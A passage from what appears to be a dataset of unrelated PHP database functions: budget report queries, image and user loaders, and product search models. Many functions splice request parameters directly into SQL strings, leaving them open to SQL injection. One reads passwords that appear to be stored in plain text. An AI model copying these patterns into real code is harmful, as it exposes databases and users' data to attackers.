(QTY_SEP) QTY_SEP,\n SUM (QTY_OCT) QTY_OCT,\n SUM (QTY_NOV) QTY_NOV,\n SUM (QTY_DEC) QTY_DEC,\n SUM (COST_JAN) COST_JAN,\n SUM (COST_FEB) COST_FEB,\n SUM (COST_MAR) COST_MAR,\n SUM (COST_APR) COST_APR,\n SUM (COST_MAY) COST_MAY,\n SUM (COST_JUN) COST_JUN,\n SUM (COST_JUL) COST_JUL,\n SUM (COST_AUG) COST_AUG,\n SUM (COST_SEP) COST_SEP,\n SUM (COST_OCT) COST_OCT,\n SUM (COST_NOV) COST_NOV,\n SUM (COST_DEC) COST_DEC,\n SUM (QTY_SETAHUN) QTY_SETAHUN,\n SUM (COST_SETAHUN) COST_SETAHUN\n FROM TMP_RPT_KEB_EST_COST_BLOCK REPORT\n GROUP BY PERIOD_BUDGET,\n REGION_CODE,\n BA_CODE,\n ACTIVITY_DESC,\n TIPE_TRANSAKSI,\n ACTIVITY_CODE,\n SUB_COST_ELEMENT_DESC,\n COST_ELEMENT,\n SUB_COST_ELEMENT,\n KETERANGAN,\n UOM) ALL_ACT\n WHERE 1 = 1\n $where \n ) REPORT\n ON MAPP.MATURITY_STAGE = REPORT.TIPE_TRANSAKSI\n AND MAPP.ACTIVITY_CODE = REPORT.ACTIVITY_CODE\n AND NVL (MAPP.COST_ELEMENT, 'NA') =\n NVL (REPORT.COST_ELEMENT, 'NA')\n LEFT JOIN TM_ORGANIZATION ORG\n ON ORG.BA_CODE = REPORT.BA_CODE\n WHERE REPORT.ACTIVITY_CODE IS NOT NULL\n ORDER BY REPORT.PERIOD_BUDGET,\n REPORT.BA_CODE,\n $order_group\n REPORT.ACTIVITY_CODE,\n REPORT.COST_ELEMENT,\n REPORT.SUB_COST_ELEMENT_DESC,\n REPORT.KETERANGAN\n \";\n $sql = \"SELECT COUNT(*) FROM ({$query})\";\n $result['count'] = $this->_db->fetchOne($sql);\n $rows = $this->_db->fetchAll(\"{$query}\");\n \n if (!empty($rows)) {\n foreach ($rows as $idx => $row) {\n $result['rows'][] = $row;\n }\n }\n /* ################################################### generate excel kebutuhan aktivitas estate cost (BA) ################################################### */\n \n return $result;\n }", "public function nahrajObrazky(){\t\t\t\n\t\t\t$dotaz = \"SELECT obrazekID,filepath,tabObrazky.uzivatelID,uzivatelJmeno FROM tabObrazky \n\t\t\t\t\tJOIN tabUzivatele ON tabUzivatele.uzivatelID = tabObrazky.uzivatelID WHERE 1 \";\n\t\t\t\n\t\t\t\t//echo \"X \".$dotaz .\" X\";\n\t\t\t\n\t\t\t$vysledek = mysqli_query($this -> pripojeni,$dotaz);\n\t\t\t$vratit = array();\n\t\t\t\n\t\t\tif($vysledek == false){\n\t\t\t\techo(\"During data upload an error occured!\" . mysqli_error($this->pripojeni) );\n\t\t\t}\n\t\telse{\n\t\t\t//case result is mysqli_result\n\t\t\t$pole = $vysledek->fetch_all(MYSQLI_ASSOC);\n\t\t\tforeach($pole as $radek ){\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\tforeach($radek as $x => $x_value) {\n\t\t\t\t\techo \"Key=\" . $x . \", Value=\" . $x_value;\n\t\t\t\t\techo \"<br>\";\n\t\t\t\t}\n\t\t\t\t*/\n\n\t\t\t\t$obrazekID = $radek[\"obrazekID\"];\n\t\t\t\t$filePath = $radek[\"filepath\"];\n\t\t\t\t$uzivatelID = $radek[\"uzivatelID\"];\n\t\t\t\t$jmenoUzivateleCoNahral = $radek[\"uzivatelJmeno\"];\t\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\techo $obrazekID;\n\t\t\t\techo $filePath;\n\t\t\t\techo $uzivatelID;\n\t\t\t\t*/\n\t\t\t\t//echo '*'.$jmenoUzivateleCoNahral.'*';\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$obrazek = new obrazekObjekt($obrazekID, $filePath,$uzivatelID,$jmenoUzivateleCoNahral);\n\t\t\t\t\n\t\t\t\t//echo $obrazek->filePath;\n\t\t\t\t//echo $obrazek->jmenoUzivateleCoNahral;\n\t\t\t\t\n\t\t\t\tarray_push($vratit,$obrazek); \n\t\t\t\t\n\t\t\t\t\n\t\t\t}\n\t\t}\t\n\t\treturn\t$vratit;\t\t\n\t\t\n\t}", "public function get_realisasi_bulanan($thang=\"2011\", $bulan=null, $kddept=null, $kdunit=null, $kdprogram=null, $kdsatker=null)\n {\n\t/*\n\t\tif(isset($bulan)):\n\t\t\t$sql = 'select kddept, kdunit, kdprogram, kdsatker, sum(jmlrealiasi) as jmlrealisasi \n\t\t\t\tfrom r_'.$thang.'_cur \n\t\t\t\twhere year(tgldok1) = '.$thang.' \n\t\t\t\tand month(tgldok1) = '.$bulan.' ';\n\t\t\tif(isset($kddept)):\n\t\t\t\t$sql .= ' and kddept = '.$kddept;\n\t\t\tendif;\n\t\t\tif(isset($kdunit)):\n\t\t\t\t$sql .= ' and kdunit = '.$kdunit;\n\t\t\tendif;\n\t\t\tif(isset($kdprogram)):\n\t\t\t\t$sql .= ' and kdprogram = '.$kdprogram;\n\t\t\tendif;\n\t\t\tif(isset($kdsatker)):\n\t\t\t\t$sql .= ' and kdsatker = '.$kdsatker;\n\t\t\tendif;\n\t\t\t$sql .= ' group by year(tgldok1), month(tgldok1), kddept, kdunit, kdprogram, kdsatker';\n\t\t\treturn $this->db->query($sql);\n\t\tendif;\n\t*/\n\t//edited by Anies (23-01-2012)\n\tif(isset($bulan)):\n\t\t$sql = 'select kddept, kdunit, kdprogram, kdsatker, round(sum(jmlrealiasi)/12) as jmlrealisasi \n\t\t\tfrom r_'.$thang.'_cur\n\t\t\twhere ';\n\t\tif(isset($kddept)):\n\t\t\t$sql .= ' kddept = '.$kddept;\n\t\tendif;\n\t\tif(isset($kdunit)):\n\t\t\t$sql .= ' and kdunit = '.$kdunit;\n\t\tendif;\n\t\tif(isset($kdprogram)):\n\t\t\t$sql .= ' and kdprogram = '.$kdprogram;\n\t\tendif;\n\t\tif(isset($kdsatker)):\n\t\t\t$sql .= ' and kdsatker = '.$kdsatker;\n\t\tendif;\n\t\t$sql .= ' group by kddept, kdunit, kdprogram, kdsatker';\n\t\treturn $this->db->query($sql);\n\tendif;\n }", "public function nahrajUzivatele(){\t\t\t\n\t\t\t$dotaz = \"SELECT uzivatelID,uzivatelJmeno,uzivatelHeslo FROM `tabUzivatele` WHERE 1 \";\n\t\t\t\n\t\t\t\t\t\t\n\t\t\t$vysledek = mysqli_query($this -> pripojeni,$dotaz);\n\t\t\t$vratit = array();\n\t\t\t\n\t\t\tif($vysledek == false){\n\t\t\t\techo(\"Pri nahravani dat nastala chyba!\" . mysqli_error($this->pripojeni) );\n\t\t\t}\n\t\telse{\n\t\t\t//case result is mysqli_result\n\t\t\t$pole = $vysledek->fetch_all(MYSQLI_ASSOC);\n\t\t\tforeach($pole as $radek ){\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\tforeach($radek as $x => $x_value) {\n\t\t\t\t\techo \"Key=\" . $x . \", Value=\" . $x_value;\n\t\t\t\t\techo \"<br>\";\n\t\t\t\t}\n\t\t\t\t*/\n\n\t\t\t\t$jmeno = $radek[\"uzivatelJmeno\"];\n\t\t\t\t$heslo = $radek[\"uzivatelHeslo\"];\n\t\t\t\t\n\t\t\t\t$uzivatel = new uzivatelObjekt($jmeno,$heslo);\n\t\t\t\t\n\t\t\t\t$uzivatel->uzivatelID = $radek[\"uzivatelID\"];\n\t\t\t\t\n\t\t\t\tarray_push($vratit,$uzivatel); \n\t\t\t\t\n\t\t\t\t\n\t\t\t}\n\t\t}\t\n\t\treturn\t$vratit;\t\t\n\t\t\n\t}", "public function searchBarangALG($params)\n {\n $query = Barang::find()->where('b0001.STATUS <> 3')->andWhere('b0001.PARENT=1 AND KD_CORP=\"ALG\"')->groupBy(['KD_BARANG','KD_CORP','KD_TYPE','KD_KATEGORI']);\n\n $query->joinWith(['unitb' => function ($q) {\n $q->where('ub0001.NM_UNIT LIKE \"%' . $this->unitbrg . '%\"');\n }]);\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n\t\t\t'pagination' => [\n\t\t\t\t'pageSize' => 20,\n\t\t\t],\n ]);\n\n\t\t $dataProvider->setSort([\n\t\t\t'attributes' => [\n 'KD_BARANG',\n 'NM_BARANG',\n /* 'nmsuplier' => [\n \t\t\t\t'asc' => ['d0001.NM_DISTRIBUTOR' => SORT_ASC],\n \t\t\t\t'desc' => ['d0001.NM_DISTRIBUTOR' => SORT_DESC],\n \t\t\t\t'label' => 'Supplier',\n \t\t\t], */\n\n 'unitbrg' => [\n 'asc' => ['ub0001.NM_UNIT' => SORT_ASC],\n 'desc' => ['ub0001.NM_UNIT' => SORT_DESC],\n 'label' => 'Unit Barang',\n ],\n\n 'tipebrg' => [\n 'asc' => ['dbc002.b1001.NM_TYPE' => SORT_ASC],\n 'desc' => ['dbc002.b1001.NM_TYPE' => SORT_DESC],\n 'label' => 'Tipe Barang',\n ],\n\n \t\t\t'nmkategori' => [\n \t\t\t\t'asc' => ['b1002.NM_KATEGORI' => SORT_ASC],\n \t\t\t\t'desc' => ['b1002.NM_KATEGORI' => SORT_DESC],\n \t\t\t\t'label' => 'Kategori',\n \t\t\t],\n\n\t\t\t]\n\t\t]);\n\n\t\tif (!($this->load($params) && $this->validate())) {\n\t\t\t/**\n\t\t\t * The following line will allow eager loading with country data\n\t\t\t * to enable sorting by country on initial loading of the grid.\n\t\t\t */\n\t\t\treturn $dataProvider;\n\t\t}\n\n $query->andFilterWhere(['like', 'b0001.STATUS', $this->STATUS])\n ->andFilterWhere(['like', 'NM_BARANG', $this->NM_BARANG])\n ->andFilterWhere(['like', 'b0001.KD_BARANG', $this->KD_BARANG])\n\t\t\t//->andFilterWhere(['like', 'b0001.KD_CORP', $this->nmcorp])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_TYPE', $this->tipebrg])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_KATEGORI', $this->nmkategori]);\n return $dataProvider;\n }", "public function tampil_data_blok()\n {\n \t$this->db->from('blok as b');\n \t$this->db->join('kawasan as k', 'k.id_kawasan = b.id_kawasan', 'inner');\n\n \treturn $this->db->get();\n }", "public function findBatiments($language) {\r\n $select = $this->_createSelectQuery();\r\n // batiment\r\n $select->field('id', $this->_tableName);\r\n $select->field('nom_' . $language, $this->_tableName, 'nom');\r\n $select->field('description_' . $language, $this->_tableName, 'description');\r\n $select->field('image', $this->_tableName);\r\n $select->field('niveau', $this->_tableName);\r\n $select->field('cout', $this->_tableName);\r\n $select->field('entretien', $this->_tableName);\r\n $select->field('duree_construction', $this->_tableName);\r\n $select->field('duree_recolte', $this->_tableName);\r\n $select->field('duree_hospitalisation', $this->_tableName);\r\n $select->field('cout_hospitalisation', $this->_tableName);\r\n $select->field('gain', $this->_tableName);\r\n $select->field('capacite', $this->_tableName);\r\n $select->field('visibilite', $this->_tableName);\r\n $select->field('id_prev', $this->_tableName);\r\n // Batiment Suivant\r\n $select->field('id', 'batiment_suivant', 'id_next');\r\n // type_batiment 1\r\n $select->field('id', 'type1_batiment', 'id_type1');\r\n $select->field('id_parent', 'type1_batiment', 'id_parent_type1');\r\n $select->field('nom_' . $language, 'type1_batiment', 'nom_type1');\r\n $select->field('is_unique', 'type1_batiment', 'is_unique_type1');\r\n // type_batiment 2\r\n $select->field('id', 'type2_batiment', 'id_type2');\r\n $select->field('id_parent', 'type2_batiment', 'id_parent_type2');\r\n $select->field('nom_' . $language, 'type2_batiment', 'nom_type2');\r\n $select->field('is_unique', 'type2_batiment', 'is_unique_type2');\r\n // From et jointures\r\n $select->from($this->_tableName);\r\n $select->innerJoin('type_batiment', array('batiment.id_type = type1_batiment.id'), 'type1_batiment');\r\n $select->leftJoin('type_batiment', array('type1_batiment.id_parent = type2_batiment.id'), 'type2_batiment');\r\n $select->leftJoin('batiment', array('batiment_suivant.id_prev = batiment.id'), 'batiment_suivant');\r\n // Ordre\r\n $select->order('batiment.niveau');\r\n\r\n return $this->_mapper->buildObjectsFromRows($this->_selectAll($select));\r\n }", "function getDataPeriode($conn,$periode,$kurikulum,$kodeunit,$padanan=false,$kelasmk='',$infoMhs=array()) {\n\t\t\t$mhs = Akademik::isMhs();\n\t\t\t$dosen = Akademik::isDosen();\n\t\t\t$admin = Akademik::isAdmin();\n\t\t\t\n\t\t\tif($infoMhs) {\n\t\t\t\tif ($infoMhs['sistemkuliah'] == \"R\") {\n\t\t\t\t\t$basis = \"and k.sistemkuliah = 'R'\";\n\t\t\t\t}\n\t\t\t\t//$basis = $infoMhs['sistemkuliah'];\n\t\t\t\t$transfer = $infoMhs['mhstransfer'];\n\t\t\t\t$angkatan = $infoMhs['periodemasuk'];\n\t\t\t\t$semesterkrs = $infoMhs['semesterkrs'];\n\t\t\t}\n\t\t\t\n\t\t\tif($mhs and !$transfer) {\n\t\t\t\t$ceksmt = true;\n\t\t\t\tif($semesterkrs%2 == 0)\n\t\t\t\t\t$batasan = ' and c.semmk%2 = 0'; // untuk genap\n\t\t\t\telse\n\t\t\t\t\t$batasan = ' and c.semmk%2 <> 0'; // untuk ganjil\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$ceksmt = false;\n\t\t\t\t$batasan = '';\n\t\t\t}\n\t\t\t\n\t\t\t/* $sql = \"select distinct k.thnkurikulum, k.kodemk, k.kodeunit, k.kelasmk, c.namamk, c.sks, c.semmk,c.semmk_old, k.koderuang,\n\t\t\t\t\t\tk.nohari, k.jammulai, k.jamselesai, \n\t\t\t\t\t\tk.nohari2, k.jammulai2, k.jamselesai2,\n\t\t\t\t\t\tk.nohari3, k.jammulai3, k.jamselesai3,\n\t\t\t\t\t\tk.nohari4, k.jammulai4, k.jamselesai4,\n\t\t\t\t\t\tk.dayatampung,k.jumlahpeserta\n\t\t\t\t\tfrom \".static::table().\" k join \".static::table('ak_kurikulum').\" c using (thnkurikulum,kodemk,kodeunit)\n\t\t\t\t\tleft join \".static::table('ak_ekivaturan').\" e on e.tahunkurikulumbaru = k.thnkurikulum and e.kodemkbaru = k.kodemk\n\t\t\t\t\t\tand e.kodeunitbaru = k.kodeunit and e.thnkurikulum = '$kurikulum'\n\t\t\t\t\twhere k.kodeunit = '$kodeunit' and \n\t\t\t\t\t\tk.periode = '$periode' and (k.thnkurikulum = '$kurikulum'\".\n\t\t\t\t\t\t($padanan ? \" or e.kodemkbaru is not null\" : '').\")\".(!empty($kelasmk)?\" and k.kelasmk='$kelasmk'\":\"\").\n\t\t\t\t\t\t(($mhs or $dosen)?\" and k.sistemkuliah='$basis'\" :'').($ceksmt?\" and c.semmk<=$semesterkrs\" :'').\" $batasan\n\t\t\t\t\tunion\n\t\t\t\t\tselect distinct k.thnkurikulum, k.kodemk, kl.kodeunit, k.kelasmk, c.namamk, c.sks, c.semmk,c.semmk_old, kl.koderuang, \n\t\t\t\t\t\tkl.nohari, kl.jammulai,kl.jamselesai, \n\t\t\t\t\t\tkl.nohari2, kl.jammulai2, kl.jamselesai2,\n\t\t\t\t\t\tkl.nohari3, kl.jammulai3, kl.jamselesai3,\n\t\t\t\t\t\tkl.nohari4, kl.jammulai4, kl.jamselesai4,\n\t\t\t\t\t\tkl.dayatampung,kl.jumlahpeserta \n\t\t\t\t\tfrom \".static::table('ak_pesertamku').\" k \n\t\t\t\t\tjoin \".static::table().\" kl using (kodeunit,periode,thnkurikulum,kodemk,kelasmk)\n\t\t\t\t\tjoin \".static::table('ak_kurikulum').\" c on c.thnkurikulum=k.thnkurikulum and c.kodemk=k.kodemk and c.kodeunit=k.unitmku \n\t\t\t\t\twhere k.unitmku='$kodeunit' and k.periode = '$periode' and k.thnkurikulum = '$kurikulum' \".\n\t\t\t\t\t(($mhs or $dosen)?\" and kl.sistemkuliah='$basis'\" :'').($ceksmt?\" and c.semmk<=$semesterkrs\" :\"\").(!empty($kelasmk)?\" and kl.kelasmk='$kelasmk'\":\"\").\" $batasan\n\t\t\t\t\torder by namamk, kelasmk\"; */\n\t\t\t\n\t\t\t// cek: ekivalensi\n\t\t\t$sql = \"select k.thnkurikulum, k.kodemk, k.kodeunit, k.kelasmk, c.namamk, c.sks, c.semmk, c.semmk_old, k.koderuang,\n\t\t\t\t\tk.nohari, k.jammulai, k.jamselesai, \n\t\t\t\t\tk.nohari2, k.jammulai2, k.jamselesai2,\n\t\t\t\t\tk.nohari3, k.jammulai3, k.jamselesai3,\n\t\t\t\t\tk.nohari4, k.jammulai4, k.jamselesai4,\n\t\t\t\t\tk.dayatampung, k.jumlahpeserta\n\t\t\t\t\tfrom \".static::table().\" k\n\t\t\t\t\tjoin \".static::table('ak_kurikulum').\" c using (thnkurikulum,kodemk,kodeunit)\n\t\t\t\t\tleft join \".static::table('ak_pesertamku').\" p using (kodeunit,periode,thnkurikulum,kodemk,kelasmk)\n\t\t\t\t\twhere (p.unitmku = \".Query::escape($kodeunit).\" or p.unitmku is null) and (k.kodeunit = \".Query::escape($kodeunit).\" or p.unitmku is not null)\n\t\t\t\t\tand k.periode = \".Query::escape($periode).\" and k.thnkurikulum = \".Query::escape($kurikulum).\"\n\t\t\t\t\t\".(empty($kelasmk) ? '' : \" and k.kelasmk = \".Query::escape($kelasmk)).\"\t\t\t\n\t\t\t\t\t\".(($mhs or $dosen) ? $basis : '').\"\n\n\t\t\t\t\torder by c.namamk, k.kelasmk\";\n\t\t\t\n\t\t\treturn $conn->GetArray($sql);\n\t\t}", "public function reportKebAktivitasDevPerBa($params = array())\n {\n $where = $select_group = $order_group = \"\";\n $params['uniq_code'] = $this->_global->genFileName();\n \n /* ################################################### generate excel development cost ################################################### */\n //cari jumlah group report\n $query = \"\n SELECT MAX(LVL) - 1\n FROM (\n SELECT GROUP_CODE, \n CONNECT_BY_ISCYCLE \\\"CYCLE\\\",\n LEVEL as LVL, \n SYS_CONNECT_BY_PATH(GROUP_CODE, '/') \\\"HIRARKI\\\"\n FROM TM_RPT_MAPPING_ACT\n WHERE level > 1\n START WITH GROUP_CODE = '01.00.00.00.00' -- development cost\n CONNECT BY NOCYCLE PRIOR GROUP_CODE = PARENT_CODE\n )\n \";\n $result['max_group'] = $this->_db->fetchOne($query);\n\n for ($i = 1 ; $i <= $result['max_group'] ; $i++){\n $select_group .= \"\n STRUKTUR_REPORT.GROUP\".str_pad($i,2,'0',STR_PAD_LEFT).\",\n (SELECT DESCRIPTION FROM TM_RPT_GROUP WHERE GROUP_CODE = STRUKTUR_REPORT.GROUP\".str_pad($i,2,'0',STR_PAD_LEFT).\") AS GROUP\".str_pad($i,2,'0',STR_PAD_LEFT).\"_DESC,\n \";\n $order_group .= \"\n STRUKTUR_REPORT.GROUP\".str_pad($i,2,'0',STR_PAD_LEFT).\",\n \";\n }\n \n //filter periode buget\n if($params['budgetperiod'] != ''){\n $where .= \"\n AND to_char(PERIOD_BUDGET,'RRRR') = '\".$params['budgetperiod'].\"'\n \";\n $result['PERIOD'] = $params['budgetperiod'];\n }else{\n $where .= \"\n AND to_char(PERIOD_BUDGET,'DD-MM-RRRR') = '\".$this->_period.\"'\n \";\n $result['PERIOD'] = $this->_period;\n }\n \n //filter region\n if ($params['src_region_code'] != '') {\n $where .= \"\n AND REGION_CODE = '\".$params['src_region_code'].\"'\n \";\n }\n \n //filter BA\n if ($params['key_find'] != '') {\n $where .= \"\n AND BA_CODE = '\".$params['key_find'].\"'\n \";\n }\n \n $query = \"\n SELECT $select_group\n REPORT.*,\n ORG.ESTATE_NAME\n FROM (\n SELECT CASE\n WHEN INSTR(HIRARKI, '/',1, 2) <> 0\n THEN SUBSTR(HIRARKI, INSTR(HIRARKI, '/',1, 2)+1, INSTR(HIRARKI, '/',1, 2) - 2) \n ELSE NULL\n END GROUP01,\n CASE\n WHEN INSTR(HIRARKI, '/',1, 3) <> 0\n THEN SUBSTR(HIRARKI, INSTR(HIRARKI, '/',1, 3)+1, INSTR(HIRARKI, '/',1, 2) - 2)\n ELSE NULL\n END GROUP02,\n CASE\n WHEN INSTR(HIRARKI, '/',1, 4) <> 0\n THEN SUBSTR(HIRARKI, INSTR(HIRARKI, '/',1, 4)+1, INSTR(HIRARKI, '/',1, 2) - 2)\n ELSE NULL\n END GROUP03,\n CASE\n WHEN INSTR(HIRARKI, '/',1, 5) <> 0\n THEN SUBSTR(HIRARKI, INSTR(HIRARKI, '/',1, 5)+1, INSTR(HIRARKI, '/',1, 2) - 2)\n ELSE NULL\n END GROUP04,\n GROUP_CODE\n FROM (\n SELECT TO_CHAR(HIRARKI) AS HIRARKI, \n LVL, \n TO_CHAR(GROUP_CODE) AS GROUP_CODE\n FROM (\n SELECT GROUP_CODE, \n CONNECT_BY_ISCYCLE \\\"CYCLE\\\",\n LEVEL as LVL, \n SYS_CONNECT_BY_PATH(GROUP_CODE, '/') \\\"HIRARKI\\\"\n FROM TM_RPT_MAPPING_ACT\n WHERE level > 1\n START WITH GROUP_CODE = '01.00.00.00.00' -- development cost\n CONNECT BY NOCYCLE PRIOR GROUP_CODE = PARENT_CODE\n )\n GROUP BY HIRARKI, LVL, GROUP_CODE\n ORDER BY HIRARKI\n )\n ) STRUKTUR_REPORT\n LEFT JOIN TM_RPT_MAPPING_ACT MAPP\n ON STRUKTUR_REPORT.GROUP_CODE = MAPP.GROUP_CODE\n LEFT JOIN ( SELECT *\n FROM ( \n SELECT PERIOD_BUDGET,\n REGION_CODE,\n BA_CODE,\n ACTIVITY_DESC,\n TIPE_TRANSAKSI,\n ACTIVITY_CODE,\n SUB_COST_ELEMENT_DESC,\n COST_ELEMENT,\n SUB_COST_ELEMENT,\n KETERANGAN,\n UOM,\n SUM (QTY_JAN) QTY_JAN,\n SUM (QTY_FEB) QTY_FEB,\n SUM (QTY_MAR) QTY_MAR,\n SUM (QTY_APR) QTY_APR,\n SUM (QTY_MAY) QTY_MAY,\n SUM (QTY_JUN) QTY_JUN,\n SUM (QTY_JUL) QTY_JUL,\n SUM (QTY_AUG) QTY_AUG,\n SUM (QTY_SEP) QTY_SEP,\n SUM (QTY_OCT) QTY_OCT,\n SUM (QTY_NOV) QTY_NOV,\n SUM (QTY_DEC) QTY_DEC,\n SUM (COST_JAN) COST_JAN,\n SUM (COST_FEB) COST_FEB,\n SUM (COST_MAR) COST_MAR,\n SUM (COST_APR) COST_APR,\n SUM (COST_MAY) COST_MAY,\n SUM (COST_JUN) COST_JUN,\n SUM (COST_JUL) COST_JUL,\n SUM (COST_AUG) COST_AUG,\n SUM (COST_SEP) COST_SEP,\n SUM (COST_OCT) COST_OCT,\n SUM (COST_NOV) COST_NOV,\n SUM (COST_DEC) COST_DEC,\n SUM (QTY_SETAHUN) QTY_SETAHUN,\n SUM (COST_SETAHUN) COST_SETAHUN\n FROM TMP_RPT_KEB_DEV_COST_BLOCK REPORT \n GROUP BY PERIOD_BUDGET,\n REGION_CODE,\n BA_CODE,\n ACTIVITY_DESC,\n TIPE_TRANSAKSI,\n ACTIVITY_CODE,\n SUB_COST_ELEMENT_DESC,\n COST_ELEMENT,\n SUB_COST_ELEMENT,\n KETERANGAN,\n UOM) ALL_ACT\n WHERE 1 = 1\n $where \n ) REPORT\n ON MAPP.MATURITY_STAGE = REPORT.TIPE_TRANSAKSI\n AND MAPP.ACTIVITY_CODE = REPORT.ACTIVITY_CODE\n AND NVL (MAPP.COST_ELEMENT, 'NA') =\n NVL (REPORT.COST_ELEMENT, 'NA')\n LEFT JOIN TM_ORGANIZATION ORG\n ON ORG.BA_CODE = REPORT.BA_CODE\n WHERE REPORT.ACTIVITY_CODE IS NOT NULL\n ORDER BY REPORT.PERIOD_BUDGET,\n REPORT.BA_CODE,\n $order_group\n REPORT.ACTIVITY_CODE,\n REPORT.COST_ELEMENT,\n REPORT.KETERANGAN\n \";\n \n $sql = \"SELECT COUNT(*) FROM ({$query})\";\n $result['count'] = $this->_db->fetchOne($sql);\n $rows = $this->_db->fetchAll(\"{$query}\");\n \n if (!empty($rows)) {\n foreach ($rows as $idx => $row) {\n $result['rows'][] = $row;\n }\n }\n /* ################################################### generate excel kebutuhan aktivitas estate cost (BA) ################################################### */\n \n return $result;\n }", "public function searchBarang($params)\n {\n $query = Barang::find()->where('b0001.STATUS <> 3')->andWhere('b0001.PARENT=1')->groupBy(['KD_BARANG','KD_CORP','KD_TYPE','KD_KATEGORI']);\n\n\t\t/* $query->joinWith(['sup' => function ($q) {\n\t\t\t$q->where('d0001.NM_DISTRIBUTOR LIKE \"%' . $this->nmsuplier . '%\"');\n\t\t}]); */\n $query->joinWith(['unitb' => function ($q) {\n $q->where('ub0001.NM_UNIT LIKE \"%' . $this->unitbrg . '%\"');\n }]);\n\n // $query->joinWith(['tipebg' => function ($q) {\n // $q->where('b1001.NM_TYPE LIKE \"%' . $this->tipebrg . '%\"');\n // }]);\n\n // $query->joinWith(['kategori' => function ($q) {\n // $q->where('b1002.NM_KATEGORI LIKE \"%' . $this->nmkategori . '%\"');\n // }]);\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n\t\t\t'pagination' => [\n\t\t\t\t'pageSize' => 20,\n\t\t\t],\n ]);\n\n\t\t $dataProvider->setSort([\n\t\t\t'attributes' => [\n 'KD_BARANG',\n 'NM_BARANG',\n /* 'nmsuplier' => [\n \t\t\t\t'asc' => ['d0001.NM_DISTRIBUTOR' => SORT_ASC],\n \t\t\t\t'desc' => ['d0001.NM_DISTRIBUTOR' => SORT_DESC],\n \t\t\t\t'label' => 'Supplier',\n \t\t\t], */\n\t\t\t\t\t'corp.CORP_NM' => [\n\t\t\t\t\t\t\t'asc' => ['u0001.CORP_NM' => SORT_ASC],\n\t\t\t\t\t\t\t'desc' => ['u0001.CORP_NM' => SORT_DESC],\n\t\t\t\t\t\t\t// 'label' => 'Unit Barang',\n\t\t\t\t\t],\n\n 'unitbrg' => [\n 'asc' => ['ub0001.NM_UNIT' => SORT_ASC],\n 'desc' => ['ub0001.NM_UNIT' => SORT_DESC],\n 'label' => 'Unit Barang',\n ],\n\n 'tipebrg' => [\n 'asc' => ['dbc002.b1001.NM_TYPE' => SORT_ASC],\n 'desc' => ['dbc002.b1001.NM_TYPE' => SORT_DESC],\n 'label' => 'Tipe Barang',\n ],\n\n \t\t\t'nmkategori' => [\n \t\t\t\t'asc' => ['b1002.NM_KATEGORI' => SORT_ASC],\n \t\t\t\t'desc' => ['b1002.NM_KATEGORI' => SORT_DESC],\n \t\t\t\t'label' => 'Kategori',\n \t\t\t],\n\n\t\t\t]\n\t\t]);\n\n\t\tif (!($this->load($params) && $this->validate())) {\n\t\t\t/**\n\t\t\t * The following line will allow eager loading with country data\n\t\t\t * to enable sorting by country on initial loading of the grid.\n\t\t\t */\n\t\t\treturn $dataProvider;\n\t\t}\n\n $query->andFilterWhere(['like', 'b0001.STATUS', $this->STATUS])\n ->andFilterWhere(['like', 'NM_BARANG', $this->NM_BARANG])\n ->andFilterWhere(['like', 'b0001.KD_BARANG', $this->KD_BARANG])\n\t\t\t// ->andFilterWhere(['like', 'b0001.KD_CORP', $this->nmcorp])\n\t\t\t\t ->andFilterWhere(['like', 'b0001.KD_CORP', $this->getAttribute('corp.CORP_NM')])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_TYPE', $this->tipebrg])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_KATEGORI', $this->nmkategori]);\n return $dataProvider;\n }", "function getDetailPindahBukuStruk($conn, $r_unit, $i_pegawai, $r_periode, $sqljenis) {\n\n //data gaji\n $sql = \"select g.*,p.nip,\" . static::schema . \".f_namalengkap(p.gelardepan,p.namadepan,p.namatengah,p.namabelakang,p.gelarbelakang) as namalengkap, \n\t\t\t\t\tcase when h.struktural is not null then s.jabatanstruktural else 'Staff' end as jabatanstruktural\n\t\t\t\t\tfrom \" . static::table('ga_gajipeg') . \" g \n\t\t\t\t\tleft join \" . static::table('ga_historydatagaji') . \" h on h.idpeg=g.idpegawai and h.gajiperiode = g.periodegaji\n\t\t\t\t\tleft join \" . static::table('ms_pegawai') . \" p on p.idpegawai=g.idpegawai\n\t\t\t\t\tleft join \" . static::table('ms_unit') . \" u on u.idunit=h.idunit\n\t\t\t\t\tleft join \" . static::table('ms_struktural ') . \" s on s.idjstruktural=h.struktural\n\t\t\t\t\twhere g.periodegaji='$r_periode' {$sqljenis} and u.parentunit = $r_unit\";\n if (!empty($i_pegawai))\n $sql .= \" and g.idpegawai not in ($i_pegawai)\";\n\n $sql .=\" order by s.infoleft\";\n\n $rs = $conn->Execute($sql);\n\n $a_data = array();\n while ($row = $rs->FetchRow())\n $a_data[] = $row;\n\n return $a_data;\n }", "public function getKorisnici()\n {\n $query = $this->db->query(\"SELECT * FROM KORISNIK ORDER BY br_poena DESC\");\n\n $korisnici = array();\n \n foreach($query->result() as $row)\n {\n array_push($korisnici,$row);\n }\n\n return $korisnici;\n }", "public function searchBarangGSN($params)\n {\n $query = Barang::find()->where('b0001.STATUS <> 3')->andWhere('b0001.PARENT=1 AND KD_CORP=\"GSN\"')->groupBy(['KD_BARANG','KD_CORP','KD_TYPE','KD_KATEGORI']);\n\n $query->joinWith(['unitb' => function ($q) {\n $q->where('ub0001.NM_UNIT LIKE \"%' . $this->unitbrg . '%\"');\n }]);\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n\t\t\t'pagination' => [\n\t\t\t\t'pageSize' => 20,\n\t\t\t],\n ]);\n\n\t\t $dataProvider->setSort([\n\t\t\t'attributes' => [\n 'KD_BARANG',\n 'NM_BARANG',\n /* 'nmsuplier' => [\n \t\t\t\t'asc' => ['d0001.NM_DISTRIBUTOR' => SORT_ASC],\n \t\t\t\t'desc' => ['d0001.NM_DISTRIBUTOR' => SORT_DESC],\n \t\t\t\t'label' => 'Supplier',\n \t\t\t], */\n\n 'unitbrg' => [\n 'asc' => 